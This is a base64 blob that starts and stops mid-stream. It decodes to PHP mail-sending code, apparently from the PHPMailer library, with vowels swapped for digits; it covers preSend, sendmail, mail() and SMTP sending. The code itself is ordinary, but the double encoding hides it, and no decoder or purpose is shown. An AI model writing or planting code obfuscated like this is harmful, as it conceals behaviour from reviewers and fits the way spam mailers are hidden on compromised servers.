4gYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBwcjVTNW5kKCkNCiAgICB7DQogICAgICAgIHRyeSB7DQogICAgICAgICAgICAkdGg0cy0+NXJyMnJfYzIzbnQgPSAwOyAvLyBSNXM1dCA1cnIycnMNCiAgICAgICAgICAgICR0aDRzLT5tMTRsSDUxZDVyID0gJyc7DQoNCiAgICAgICAgICAgIC8vIEQ1cTM1MzUgcjVjNHA0NW50IDFuZCBSNXBseS1UMiAxZGRyNXNzNXMgdzR0aCBJRE4NCiAgICAgICAgICAgIGYycjUxY2ggKDFycjF5X201cmc1KCR0aDRzLT5SNWM0cDQ1bnRzUTM1MzUsICR0aDRzLT5SNXBseVQyUTM1MzUpIDFzICRwMXIxbXMpIHsNCiAgICAgICAgICAgICAgICAkcDFyMW1zWzZdID0gJHRoNHMtPnAzbnk1bmMyZDVBZGRyNXNzKCRwMXIxbXNbNl0pOw0KICAgICAgICAgICAgICAgIGMxbGxfM3M1cl9mM25jXzFycjF5KDFycjF5KCR0aDRzLCAnMWRkQW5BZGRyNXNzJyksICRwMXIxbXMpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNGYgKChjMjNudCgkdGg0cy0+dDIpICsgYzIzbnQoJHRoNHMtPmNjKSArIGMyM250KCR0aDRzLT5iY2MpKSA8IDYpIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCdwcjJ2NGQ1XzFkZHI1c3MnKSwgczVsZjo6U1RPUF9DUklUSUNBTCk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC8vIFYxbDRkMXQ1IEZyMm0sIFM1bmQ1ciwgMW5kIEMybmY0cm1SNTFkNG5nVDIgMWRkcjVzczVzDQogICAgICAgICAgICBmMnI1MWNoICgxcnIxeSgnRnIybScsICdTNW5kNXInLCAnQzJuZjRybVI1MWQ0bmdUMicpIDFzICQxZGRyNXNzX2s0bmQpIHsNCiAgICAgICAgICAgICAgICAkdGg0cy0+JDFkZHI1c3NfazRuZCA9IHRyNG0oJHRoNHMtPiQxZGRyNXNzX2s0bmQpOw0KICAgICAgICAgICAgICAgIDRmICg1bXB0eSgkdGg0cy0+JDFkZHI1c3NfazRuZCkpIHsNCiAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICR0aDRzLT4kMWRkcjVzc19rNG5kID0gJHRoNHMtPnAzbnk1bmMyZDVBZGRyNXNzKCR0aDRzLT4kMWRkcjVzc19rNG5kKTsNCiAgICAgICAgICAgICAgICA0ZiAoISR0aDRzLT52MWw0ZDF0NUFkZHI1c3MoJHRoNHMtPiQxZGRyNXNzX2s0bmQpKSB7DQogICAgICAgICAgICAgICAgICAgICQ1cnIycl9tNXNzMWc1ID0gJHRoNHMtPmwxbmcoJzRudjFsNGRfMWRkcjVzcycpIC4gJHRoNHMtPiQxZGRyNXNzX2s0bmQ7DQogICAgICAgICAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycigkNXJyMnJfbTVzczFnNSk7DQogICAgICAgICAgICAgICAgICAgICR0aDRzLT41ZDViM2coJDVycjJyX201c3MxZzUpOw0KICAgICAgICAgICAgICAgICAgICA0ZiAoJHRoNHMtPjV4YzVwdDQybnMpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJDVycjJyX201c3MxZzUpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC8vIFM1dCB3aDV0aDVyIHRoNSBtNXNzMWc1IDRzIG0zbHQ0cDFydC8xbHQ1cm4xdDR2NQ0KICAgICAgICAgICAgNGYgKCE1bXB0eSgkdGg0cy0+QWx0QjJkeSkpIHsNCiAgICAgICAgICAgICAgICAkdGg0cy0+QzJudDVudFR5cDUgPSAnbTNsdDRwMXJ0LzFsdDVybjF0NHY1JzsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJHRoNHMtPnM1dE01c3MxZzVUeXA1KCk7DQogICAgICAgICAgICAvLyBSNWYzczUgdDIgczVuZCAxbiA1bXB0eSBtNXNzMWc1IDNubDVzcyB3NSAxcjUgc3A1YzRmNGMxbGx5IDFsbDJ3NG5nIDR0DQogICAgICAgICAgICA0ZiAoISR0aDRzLT5BbGwyd0VtcHR5IDFuZCA1bXB0eSgkdGg0cy0+QjJkeSkpIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCc1bXB0eV9tNXNzMWc1JyksIHM1bGY6OlNUT1BfQ1JJVElDQUwpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAvLyBDcjUxdDUgYjJkeSBiNWYycjUgaDUxZDVycyA0biBjMXM1IGIyZHkgbTFrNXMgY2gxbmc1cyB0MiBoNTFkNXJzICg1LmcuIDFsdDVyNG5nIHRyMW5zZjVyIDVuYzJkNG5nKQ0KICAgICAgICAgICAgJHRoNHMtPk1JTUVINTFkNXIgPSAnJzsNCiAgICAgICAgICAgICR0aDRzLT5NSU1FQjJkeSA9ICR0aDRzLT5jcjUxdDVCMmR5KCk7DQogICAgICAgICAgICAvLyBjcjUxdDVCMmR5IG0xeSBoMXY1IDFkZDVkIHMybTUgaDUxZDVycywgczIgcjV0MTRuIHRoNW0NCiAgICAgICAgICAgICR0NW1waDUxZDVycyA9ICR0aDRzLT5NSU1FSDUxZDVyOw0KICAgICAgICAgICAgJHRoNHMtPk1JTUVINTFkNXIgPSAkdGg0cy0+Y3I1MXQ1SDUxZDVyKCk7DQogICAgICAgICAgICAkdGg0cy0+TUlNRUg1MWQ1ciAuPSAkdDVtcGg1MWQ1cnM7DQoNCiAgICAgICAgICAgIC8vIFQyIGMxcHQzcjUgdGg1IGMybXBsNXQ1IG01c3MxZzUgd2g1biAzczRuZyBtMTRsKCksIGNyNTF0NQ0KICAgICAgICAgICAgLy8gMW4gNXh0cjEgaDUxZDVyIGw0c3Qgd2g0Y2ggY3I1MXQ1SDUxZDVyKCkgZDI1c24ndCBmMmxkIDRuDQogICAgICAgICAgICA0ZiAoJHRoNHMtPk0xNGw1ciA9PSAnbTE0bCcpIHsNCiAgICAgICAgICAgICAgICA0ZiAoYzIzbnQoJHRoNHMtPnQyKSA+IDApIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPm0xNGxINTFkNXIgLj0gJHRoNHMtPjFkZHJBcHA1bmQoJ1QyJywgJHRoNHMtPnQyKTsNCiAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+bTE0bEg1MWQ1ciAuPSAkdGg0cy0+aDUxZDVyTDRuNSgnVDInLCAnM25kNHNjbDJzNWQtcjVjNHA0NW50czo7Jyk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICR0aDRzLT5tMTRsSDUxZDVyIC49ICR0aDRzLT5oNTFkNXJMNG41KA0KICAgICAgICAgICAgICAgICAgICAnUzNiajVjdCcsDQogICAgICAgICAgICAgICAgICAgICR0aDRzLT41bmMyZDVINTFkNXIoJHRoNHMtPnM1YzNyNUg1MWQ1cih0cjRtKCR0aDRzLT5TM2JqNWN0KSkpDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLy8gUzRnbiB3NHRoIERLSU0gNGYgNW4xYmw1ZA0KICAgICAgICAgICAgNGYgKCE1bXB0eSgkdGg0cy0+REtJTV9kMm0xNG4pDQogICAgICAgICAgICAgICAgJiYgITVtcHR5KCR0aDRzLT5ES0lNX3ByNHYxdDUpDQogICAgICAgICAgICAgICAgJiYgITVtcHR5KCR0aDRzLT5ES0lNX3M1bDVjdDJyKQ0KICAgICAgICAgICAgICAgICYmIGY0bDVfNXg0c3RzKCR0aDRzLT5ES0lNX3ByNHYxdDUpKSB7DQogICAgICAgICAgICAgICAgJGg1MWQ1cl9kazRtID0gJHRoNHMtPkRLSU1fQWRkKA0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+TUlNRUg1MWQ1ciAuICR0aDRzLT5tMTRsSDUxZDVyLA0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+NW5jMmQ1SDUxZDVyKCR0aDRzLT5zNWMzcjVINTFkNXIoJHRoNHMtPlMzYmo1Y3QpKSwNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPk1JTUVCMmR5DQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAkdGg0cy0+TUlNRUg1MWQ1ciA9IHJ0cjRtKCR0aDRzLT5NSU1FSDUxZDVyLCAiXHJcbiAiKSAuIHM1bGY6OkNSTEYgLg0KICAgICAgICAgICAgICAgICAgICBzdHJfcjVwbDFjNSgiXHJcbiIsICJcbiIsICRoNTFkNXJfZGs0bSkgLiBzNWxmOjpDUkxGOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgICAgIH0gYzF0Y2ggKHBocG0xNGw1ckV4YzVwdDQybiAkNXhjKSB7DQogICAgICAgICAgICAkdGg0cy0+czV0RXJyMnIoJDV4Yy0+ZzV0TTVzczFnNSgpKTsNCiAgICAgICAgICAgIDRmICgkdGg0cy0+NXhjNXB0NDJucykgew0KICAgICAgICAgICAgICAgIHRocjJ3ICQ1eGM7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICB9DQogICAgcDNibDRjIGYzbmN0NDJuIDRubjVyQjJkeSgpew0KDQogICAgICAgIA0KICAgIH0NCiAgICAvKioNCiAgICAgKiBBY3QzMWxseSBzNW5kIDEgbTVzczFnNS4NCiAgICAgKiBTNW5kIHRoNSA1bTE0bCB2NDEgdGg1IHM1bDVjdDVkIG01Y2gxbjRzbQ0KICAgICAqIEB0aHIyd3MgcGhwbTE0bDVyRXhjNXB0NDJuDQogICAgICogQHI1dDNybiBiMjJsNTFuDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIHAyc3RTNW5kKCkNCiAgICB7DQogICAgICAgIHRyeSB7DQogICAgICAgICAgICAvLyBDaDIyczUgdGg1IG0xNGw1ciAxbmQgczVuZCB0aHIyM2doIDR0DQogICAgICAgICAgICBzdzR0Y2ggKCR0aDRzLT5NMTRsNXIpIHsNCiAgICAgICAgICAgICAgICBjMXM1ICdzNW5kbTE0bCc6DQogICAgICAgICAgICAgICAgYzFzNSAncW0xNGwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnM1bmRtMTRsUzVuZCgkdGg0cy0+TUlNRUg1MWQ1ciwgJHRoNHMtPk1JTUVCMmR5KTsNCiAgICAgICAgICAgICAgICBjMXM1ICdzbXRwJzoNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5zbXRwUzVuZCgkdGg0cy0+TUlNRUg1MWQ1ciwgJHRoNHMtPk1JTUVCMmR5KTsNCiAgICAgICAgICAgICAgICBjMXM1ICdtMTRsJzoNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5tMTRsUzVuZCgkdGg0cy0+TUlNRUg1MWQ1ciwgJHRoNHMtPk1JTUVCMmR5KTsNCiAgICAgICAgICAgICAgICBkNWYxM2x0Og0KICAgICAgICAgICAgICAgICAgICAkczVuZE01dGgyZCA9ICR0aDRzLT5NMTRsNXIuJ1M1bmQnOw0KICAgICAgICAgICAgICAgICAgICA0ZiAobTV0aDJkXzV4NHN0cygkdGg0cywgJHM1bmRNNXRoMmQpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPiRzNW5kTTV0aDJkKCR0aDRzLT5NSU1FSDUxZDVyLCAkdGg0cy0+TUlNRUIyZHkpOw0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5tMTRsUzVuZCgkdGg0cy0+TUlNRUg1MWQ1ciwgJHRoNHMtPk1JTUVCMmR5KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBjMXRjaCAocGhwbTE0bDVyRXhjNXB0NDJuICQ1eGMpIHsNCiAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycigkNXhjLT5nNXRNNXNzMWc1KCkpOw0KICAgICAgICAgICAgJHRoNHMtPjVkNWIzZygkNXhjLT5nNXRNNXNzMWc1KCkpOw0KICAgICAgICAgICAgNGYgKCR0aDRzLT41eGM1cHQ0Mm5zKSB7DQogICAgICAgICAgICAgICAgdGhyMncgJDV4YzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gZjFsczU7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUzVuZCBtMTRsIDNzNG5nIHRoNSAkUzVuZG0xNGwgcHIyZ3IxbS4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICRoNTFkNXIgVGg1IG01c3MxZzUgaDUxZDVycw0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGIyZHkgVGg1IG01c3MxZzUgYjJkeQ0KICAgICAqIEBzNTUgUEhQTTE0bDVyOjokUzVuZG0xNGwNCiAgICAgKiBAdGhyMndzIHBocG0xNGw1ckV4YzVwdDQybg0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICogQHI1dDNybiBiMjJsNTFuDQogICAgICovDQogICAgcHIydDVjdDVkIGYzbmN0NDJuIHM1bmRtMTRsUzVuZCgkaDUxZDVyLCAkYjJkeSkNCiAgICB7DQogICAgICAgIDRmICgkdGg0cy0+UzVuZDVyICE9ICcnKSB7DQogICAgICAgICAgICA0ZiAoJHRoNHMtPk0xNGw1ciA9PSAncW0xNGwnKSB7DQogICAgICAgICAgICAgICAgJHM1bmRtMTRsID0gc3ByNG50ZignJXMgLWYlcycsIDVzYzFwNXNoNWxsY21kKCR0aDRzLT5TNW5kbTE0bCksIDVzYzFwNXNoNWxsMXJnKCR0aDRzLT5TNW5kNXIpKTsNCiAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgJHM1bmRtMTRsID0gc3ByNG50ZignJXMgLTI0IC1mJXMgLXQnLCA1c2MxcDVzaDVsbGNtZCgkdGg0cy0+UzVuZG0xNGwpLCA1c2MxcDVzaDVsbDFyZygkdGg0cy0+UzVuZDVyKSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICA0ZiAoJHRoNHMtPk0xNGw1ciA9PSAncW0xNGwnKSB7DQogICAgICAgICAgICAgICAgJHM1bmRtMTRsID0gc3ByNG50ZignJXMnLCA1c2MxcDVzaDVsbGNtZCgkdGg0cy0+UzVuZG0xNGwpKTsNCiAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgJHM1bmRtMTRsID0gc3ByNG50ZignJXMgLTI0IC10JywgNXNjMXA1c2g1bGxjbWQoJHRoNHMtPlM1bmRtMTRsKSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgNGYgKCR0aDRzLT5TNG5nbDVUMikgew0KICAgICAgICAgICAgZjJyNTFjaCAoJHRoNHMtPlM0bmdsNVQyQXJyMXkgMXMgJHQyQWRkcikgew0KICAgICAgICAgICAgICAgIDRmICghQCRtMTRsID0gcDJwNW4oJHM1bmRtMTRsLCAndycpKSB7DQogICAgICAgICAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJHRoNHMtPmwxbmcoJzV4NWMzdDUnKSAuICR0aDRzLT5TNW5kbTE0bCwgczVsZjo6U1RPUF9DUklUSUNBTCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGZwM3RzKCRtMTRsLCAnVDI6ICcgLiAkdDJBZGRyIC4gIlxuIik7DQogICAgICAgICAgICAgICAgZnAzdHMoJG0xNGwsICRoNTFkNXIpOw0KICAgICAgICAgICAgICAgIGZwM3RzKCRtMTRsLCAkYjJkeSk7DQogICAgICAgICAgICAgICAgJHI1czNsdCA9IHBjbDJzNSgkbTE0bCk7DQogICAgICAgICAgICAgICAgJHRoNHMtPmQyQzFsbGIxY2soDQogICAgICAgICAgICAgICAgICAgICgkcjVzM2x0ID09IDApLA0KICAgICAgICAgICAgICAgICAgICAxcnIxeSgkdDJBZGRyKSwNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPmNjLA0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+YmNjLA0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+UzNiajVjdCwNCiAgICAgICAgICAgICAgICAgICAgJGIyZHksDQogICAgICAgICAgICAgICAgICAgICR0aDRzLT5GcjJtDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICA0ZiAoJHI1czNsdCAhPSAwKSB7DQogICAgICAgICAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJHRoNHMtPmwxbmcoJzV4NWMzdDUnKSAuICR0aDRzLT5TNW5kbTE0bCwgczVsZjo6U1RPUF9DUklUSUNBTCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgNGYgKCFAJG0xNGwgPSBwMnA1bigkczVuZG0xNGwsICd3JykpIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCc1eDVjM3Q1JykgLiAkdGg0cy0+UzVuZG0xNGwsIHM1bGY6OlNUT1BfQ1JJVElDQUwpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZnAzdHMoJG0xNGwsICRoNTFkNXIpOw0KICAgICAgICAgICAgZnAzdHMoJG0xNGwsICRiMmR5KTsNCiAgICAgICAgICAgICRyNXMzbHQgPSBwY2wyczUoJG0xNGwpOw0KICAgICAgICAgICAgJHRoNHMtPmQyQzFsbGIxY2soDQogICAgICAgICAgICAgICAgKCRyNXMzbHQgPT0gMCksDQogICAgICAgICAgICAgICAgJHRoNHMtPnQyLA0KICAgICAgICAgICAgICAgICR0aDRzLT5jYywNCiAgICAgICAgICAgICAgICAkdGg0cy0+YmNjLA0KICAgICAgICAgICAgICAgICR0aDRzLT5TM2JqNWN0LA0KICAgICAgICAgICAgICAgICRiMmR5LA0KICAgICAgICAgICAgICAgICR0aDRzLT5GcjJtDQogICAgICAgICAgICApOw0KICAgICAgICAgICAgNGYgKCRyNXMzbHQgIT0gMCkgew0KICAgICAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJHRoNHMtPmwxbmcoJzV4NWMzdDUnKSAuICR0aDRzLT5TNW5kbTE0bCwgczVsZjo6U1RPUF9DUklUSUNBTCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUzVuZCBtMTRsIDNzNG5nIHRoNSBQSFAgbTE0bCgpIGYzbmN0NDJuLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGg1MWQ1ciBUaDUgbTVzczFnNSBoNTFkNXJzDQogICAgICogQHAxcjFtIHN0cjRuZyAkYjJkeSBUaDUgbTVzczFnNSBiMmR5DQogICAgICogQGw0bmsgaHR0cDovL3d3dy5waHAubjV0L20xbjMxbC81bi9iMjJrLm0xNGwucGhwDQogICAgICogQHRocjJ3cyBwaHBtMTRsNXJFeGM1cHQ0Mm4NCiAgICAgKiBAMWNjNXNzIHByMnQ1Y3Q1ZA0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBtMTRsUzVuZCgkaDUxZDVyLCAkYjJkeSkNCiAgICB7DQogICAgICAgICR0MkFyciA9IDFycjF5KCk7DQogICAgICAgIGYycjUxY2ggKCR0aDRzLT50MiAxcyAkdDIxZGRyKSB7DQogICAgICAgICAgICAkdDJBcnJbXSA9ICR0aDRzLT4xZGRyRjJybTF0KCR0MjFkZHIpOw0KICAgICAgICB9DQogICAgICAgICR0MiA9IDRtcGwyZDUoJywgJywgJHQyQXJyKTsNCg0KICAgICAgICA0ZiAoNW1wdHkoJHRoNHMtPlM1bmQ1cikpIHsNCiAgICAgICAgICAgICRwMXIxbXMgPSAnICc7DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAkcDFyMW1zID0gc3ByNG50ZignLWYlcycsICR0aDRzLT5TNW5kNXIpOw0KICAgICAgICB9DQogICAgICAgIDRmICgkdGg0cy0+UzVuZDVyICE9ICcnIDFuZCAhNG40X2c1dCgnczFmNV9tMmQ1JykpIHsNCiAgICAgICAgICAgICQybGRfZnIybSA9IDRuNF9nNXQoJ3M1bmRtMTRsX2ZyMm0nKTsNCiAgICAgICAgICAgIDRuNF9zNXQoJ3M1bmRtMTRsX2ZyMm0nLCAkdGg0cy0+UzVuZDVyKTsNCiAgICAgICAgfQ0KICAgICAgICAkcjVzM2x0ID0gZjFsczU7DQogICAgICAgIDRmICgkdGg0cy0+UzRuZ2w1VDIgJiYgYzIzbnQoJHQyQXJyKSA+IDYpIHsNCiAgICAgICAgICAgIGYycjUxY2ggKCR0MkFyciAxcyAkdDJBZGRyKSB7DQogICAgICAgICAgICAgICAgJHI1czNsdCA9ICR0aDRzLT5tMTRsUDFzc3RocjMoJHQyQWRkciwgJHRoNHMtPlMzYmo1Y3QsICRiMmR5LCAkaDUxZDVyLCAkcDFyMW1zKTsNCiAgICAgICAgICAgICAgICAkdGg0cy0+ZDJDMWxsYjFjaygkcjVzM2x0LCAxcnIxeSgkdDJBZGRyKSwgJHRoNHMtPmNjLCAkdGg0cy0+YmNjLCAkdGg0cy0+UzNiajVjdCwgJGIyZHksICR0aDRzLT5GcjJtKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICRyNXMzbHQgPSAkdGg0cy0+bTE0bFAxc3N0aHIzKCR0MiwgJHRoNHMtPlMzYmo1Y3QsICRiMmR5LCAkaDUxZDVyLCAkcDFyMW1zKTsNCiAgICAgICAgICAgICR0aDRzLT5kMkMxbGxiMWNrKCRyNXMzbHQsICR0aDRzLT50MiwgJHRoNHMtPmNjLCAkdGg0cy0+YmNjLCAkdGg0cy0+UzNiajVjdCwgJGIyZHksICR0aDRzLT5GcjJtKTsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAoNHNzNXQoJDJsZF9mcjJtKSkgew0KICAgICAgICAgICAgNG40X3M1dCgnczVuZG0xNGxfZnIybScsICQybGRfZnIybSk7DQogICAgICAgIH0NCiAgICAgICAgNGYgKCEkcjVzM2x0KSB7DQogICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCc0bnN0MW50NDF0NScpLCBzNWxmOjpTVE9QX0NSSVRJQ0FMKTsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gdHIzNTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBHNXQgMW4gNG5zdDFuYzUgdDIgM3M1IGYyciBTTVRQIDJwNXIxdDQybnMuDQogICAgICogT3Y1cnI0ZDUgdGg0cyBmM25jdDQybiB0MiBsMjFkIHkyM3IgMnduIFNNVFAgNG1wbDVtNW50MXQ0Mm4NCiAgICAgKiBAcjV0M3JuIFNNVFANCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0U01UUEluc3QxbmM1KCkNCiAgICB7DQogICAgICAgIDRmICghNHNfMmJqNWN0KCR0aDRzLT5zbXRwKSkgew0KICAgICAgICAgICAgJHRoNHMtPnNtdHAgPSBuNXcgU01UUDsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gJHRoNHMtPnNtdHA7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUzVuZCBtMTRsIHY0MSBTTVRQLg0KICAgICAqIFI1dDNybnMgZjFsczUgNGYgdGg1cjUgNHMgMSBiMWQgTUFJTCBGUk9NLCBSQ1BULCAyciBEQVRBIDRucDN0Lg0KICAgICAqIFVzNXMgdGg1IFBIUE0xNGw1clNNVFAgY2wxc3MgYnkgZDVmMTNsdC4NCiAgICAgKiBAczU1IFBIUE0xNGw1cjo6ZzV0U01UUEluc3QxbmM1KCkgdDIgM3M1IDEgZDRmZjVyNW50IGNsMXNzLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGg1MWQ1ciBUaDUgbTVzczFnNSBoNTFkNXJzDQogICAgICogQHAxcjFtIHN0cjRuZyAkYjJkeSBUaDUgbTVzczFnNSBiMmR5DQogICAgICogQHRocjJ3cyBwaHBtMTRsNXJFeGM1cHQ0Mm4NCiAgICAgKiBAM3M1cyBTTVRQDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4NCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgZjNuY3Q0Mm4gc210cFM1bmQoJGg1MWQ1ciwgJGIyZHkpDQogICAgew0KICAgICAgICAkYjFkX3JjcHQgPSAxcnIxeSgpOw0KICAgICAgICA0ZiAoISR0aDRzLT5zbXRwQzJubjVjdCgkdGg0cy0+U01UUE9wdDQybnMpKSB7DQogICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCdzbXRwX2Mybm41Y3RfZjE0bDVkJyksIHM1bGY6OlNUT1BfQ1JJVElDQUwpOw0KICAgICAgICB9DQogICAgICAgIDRmICgnJyA9PSAkdGg0cy0+UzVuZDVyKSB7DQogICAgICAgICAgICAkc210cF9mcjJtID0gJHRoNHMtPkZyMm07DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAkc210cF9mcjJtID0gJHRoNHMtPlM1bmQ1cjsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAoISR0aDRzLT5zbXRwLT5tMTRsKCRzbXRwX2ZyMm0pKSB7DQogICAgICAgICAgICAkdGg0cy0+czV0RXJyMnIoJHRoNHMtPmwxbmcoJ2ZyMm1fZjE0bDVkJykgLiAkc210cF9mcjJtIC4gJyA6ICcgLiA0bXBsMmQ1KCcsJywgJHRoNHMtPnNtdHAtPmc1dEVycjJyKCkpKTsNCiAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJHRoNHMtPkVycjJySW5mMiwgczVsZjo6U1RPUF9DUklUSUNBTCk7DQogICAgICAgIH0NCg0KICAgICAgICAvLyBBdHQ1bXB0IHQyIHM1bmQgdDIgMWxsIHI1YzRwNDVudHMNCiAgICAgICAgZjJyNTFjaCAoMXJyMXkoJHRoNHMtPnQyLCAkdGg0cy0+Y2MsICR0aDRzLT5iY2MpIDFzICR0MmdyMjNwKSB7DQogICAgICAgICAgICBmMnI1MWNoICgkdDJncjIzcCAxcyAkdDIpIHsNCiAgICAgICAgICAgICAgICA0ZiAoISR0aDRzLT5zbXRwLT5yNWM0cDQ1bnQoJHQyWzBdKSkgew0KICAgICAgICAgICAgICAgICAgICAkNXJyMnIgPSAkdGg0cy0+c210cC0+ZzV0RXJyMnIoKTsNCiAgICAgICAgICAgICAgICAgICAgJGIxZF9yY3B0W10gPSAxcnIxeSgndDInID0+ICR0MlswXSwgJzVycjJyJyA9PiAkNXJyMnJbJ2Q1dDE0bCddKTsNCiAgICAgICAgICAgICAgICAgICAgJDRzUzVudCA9IGYxbHM1Ow0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICQ0c1M1bnQgPSB0cjM1Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkdGg0cy0+ZDJDMWxsYjFjaygkNHNTNW50LCAxcnIxeSgkdDJbMF0pLCAxcnIxeSgpLCAxcnIxeSgpLCAkdGg0cy0+UzNiajVjdCwgJGIyZHksICR0aDRzLT5GcjJtKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIC8vIE9ubHkgczVuZCB0aDUgREFUQSBjMm1tMW5kIDRmIHc1IGgxdjUgdjQxYmw1IHI1YzRwNDVudHMNCiAgICAgICAgNGYgKChjMjNudCgkdGg0cy0+MWxsX3I1YzRwNDVudHMpID4gYzIzbnQoJGIxZF9yY3B0KSkgMW5kICEkdGg0cy0+c210cC0+ZDF0MSgkaDUxZDVyIC4gJGIyZHkpKSB7DQogICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCdkMXQxX24ydF8xY2M1cHQ1ZCcpLCBzNWxmOjpTVE9QX0NSSVRJQ0FMKTsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAoJHRoNHMtPlNNVFBLNTVwQWw0djUpIHsNCiAgICAgICAgICAgICR0aDRzLT5zbXRwLT5yNXM1dCgpOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJHRoNHMtPnNtdHAtPnEzNHQoKTsNCiAgICAgICAgICAgICR0aDRzLT5zbXRwLT5jbDJzNSgpOw0KICAgICAgICB9DQogICAgICAgIC8vQ3I1MXQ1IDVycjJyIG01c3MxZzUgZjJyIDFueSBiMWQgMWRkcjVzczVzDQogICAgICAgIDRmIC